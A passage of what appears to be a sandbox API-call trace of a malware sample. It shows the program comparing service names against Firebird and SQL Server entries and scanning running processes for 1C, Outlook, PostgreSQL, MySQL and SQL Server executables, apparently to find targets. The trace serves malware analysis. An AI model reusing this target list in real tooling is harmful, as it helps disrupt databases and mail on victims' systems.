(lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0255.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0255.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0255.299] lstrlenW (lpString="Dhcp") returned 4 [0255.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0255.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0255.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0255.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0255.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0255.299] lstrlenW (lpString="Dnscache") returned 8 [0255.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0255.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0255.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0255.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0255.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0255.299] lstrlenW (lpString="DPS") returned 3 [0255.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0255.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0255.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0255.300] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0255.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0255.300] lstrlenW (lpString="eventlog") returned 8 [0255.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0255.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0255.300] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0255.300] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0255.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0255.300] lstrlenW (lpString="EventSystem") returned 11 [0255.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0255.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0255.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0255.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0255.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0255.301] lstrlenW (lpString="gpsvc") returned 5 [0255.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0255.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0255.301] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0255.301] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0255.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0255.301] lstrlenW (lpString="iphlpsvc") returned 8 [0255.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.302] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0255.302] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0255.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0255.302] lstrlenW (lpString="LanmanServer") returned 12 [0255.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0255.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0255.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0255.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0255.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0255.303] lstrlenW (lpString="LanmanWorkstation") returned 17 [0255.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0255.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0255.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0255.304] lstrlenW (lpString="lmhosts") returned 7 [0255.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0255.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0255.304] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0255.304] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0255.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0255.304] lstrlenW (lpString="MMCSS") returned 5 [0255.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0255.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0255.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0255.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0255.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0255.304] lstrlenW (lpString="MpsSvc") returned 6 [0255.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0255.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0255.305] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0255.305] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0255.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0255.305] lstrlenW (lpString="Netman") returned 6 [0255.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0255.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0255.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0255.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0255.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0255.305] lstrlenW (lpString="netprofm") returned 8 [0255.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0255.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0255.306] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0255.306] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0255.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0255.306] lstrlenW (lpString="NlaSvc") returned 6 [0255.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0255.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0255.306] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0255.306] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0255.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0255.306] lstrlenW (lpString="nsi") returned 3 [0255.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0255.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0255.306] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0255.307] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0255.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0255.307] lstrlenW (lpString="PcaSvc") returned 6 [0255.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0255.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0255.307] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0255.307] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0255.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0255.307] lstrlenW (lpString="PlugPlay") returned 8 [0255.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0255.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0255.308] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0255.308] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0255.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0255.308] lstrlenW (lpString="Power") returned 5 [0255.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0255.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0255.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0255.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0255.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0255.308] lstrlenW (lpString="ProfSvc") returned 7 [0255.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0255.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0255.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0255.309] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0255.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0255.309] lstrlenW (lpString="RpcEptMapper") returned 12 [0255.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.309] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0255.309] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0255.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0255.309] lstrlenW (lpString="RpcSs") returned 5 [0255.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0255.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0255.309] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0255.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0255.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0255.310] lstrlenW (lpString="SamSs") returned 5 [0255.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0255.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0255.310] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0255.310] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0255.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0255.310] lstrlenW (lpString="Schedule") returned 8 [0255.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0255.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0255.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0255.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0255.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0255.311] lstrlenW (lpString="SENS") returned 4 [0255.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0255.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0255.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0255.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0255.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0255.311] lstrlenW (lpString="ShellHWDetection") returned 16 [0255.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.312] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0255.312] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0255.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0255.312] lstrlenW (lpString="Spooler") returned 7 [0255.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0255.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0255.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0255.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0255.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0255.312] lstrlenW (lpString="SysMain") returned 7 [0255.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0255.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0255.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0255.313] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0255.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0255.313] lstrlenW (lpString="Themes") returned 6 [0255.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0255.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0255.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0255.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0255.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0255.313] lstrlenW (lpString="TrkWks") returned 6 [0255.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0255.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0255.313] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0255.314] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0255.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0255.314] lstrlenW (lpString="UxSms") returned 5 [0255.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0255.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0255.314] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0255.314] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0255.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0255.314] lstrlenW (lpString="WdiServiceHost") returned 14 [0255.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0255.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0255.315] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0255.315] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0255.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0255.315] lstrlenW (lpString="WdiSystemHost") returned 13 [0255.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0255.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0255.315] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0255.315] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0255.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0255.315] lstrlenW (lpString="Winmgmt") returned 7 [0255.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0255.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0255.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0255.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0255.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0255.316] lstrlenW (lpString="WPDBusEnum") returned 10 [0255.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0255.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0255.316] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0255.316] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0255.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0255.316] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4254088 | out: hHeap=0x880000) returned 1 [0255.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0255.322] Process32FirstW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.323] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.324] lstrlenW (lpString="System") returned 6 [0255.324] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0255.324] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0255.324] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0255.325] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0255.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0255.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0255.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0255.325] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.326] lstrlenW (lpString="smss.exe") returned 8 [0255.326] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0255.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0255.326] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0255.327] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0255.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0255.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0255.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0255.327] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.328] lstrlenW (lpString="csrss.exe") returned 9 [0255.329] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0255.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0255.329] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0255.329] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0255.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0255.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0255.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0255.329] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.330] lstrlenW (lpString="wininit.exe") returned 11 [0255.330] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0255.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0255.330] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0255.330] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0255.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0255.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0255.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0255.331] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.332] lstrlenW (lpString="csrss.exe") returned 9 [0255.332] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0255.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0255.332] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0255.332] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0255.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0255.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0255.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0255.332] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.855] lstrlenW (lpString="winlogon.exe") returned 12 [0255.855] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0255.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0255.855] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0255.855] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0255.855] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.856] lstrlenW (lpString="services.exe") returned 12 [0255.856] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.857] lstrlenW (lpString="lsass.exe") returned 9 [0255.857] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0255.858] lstrlenW (lpString="lsm.exe") returned 7 [0255.858] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.859] lstrlenW (lpString="svchost.exe") returned 11 [0255.860] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.861] lstrlenW (lpString="svchost.exe") returned 11 [0255.861] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.862] lstrlenW (lpString="svchost.exe") returned 11 [0255.862] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.863] lstrlenW (lpString="svchost.exe") returned 11 [0255.863] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.866] lstrlenW (lpString="svchost.exe") returned 11 [0255.866] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.867] lstrlenW (lpString="audiodg.exe") returned 11 [0255.867] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.868] lstrlenW (lpString="svchost.exe") returned 11 [0255.868] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.869] lstrlenW (lpString="explorer.exe") returned 12 [0255.870] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: 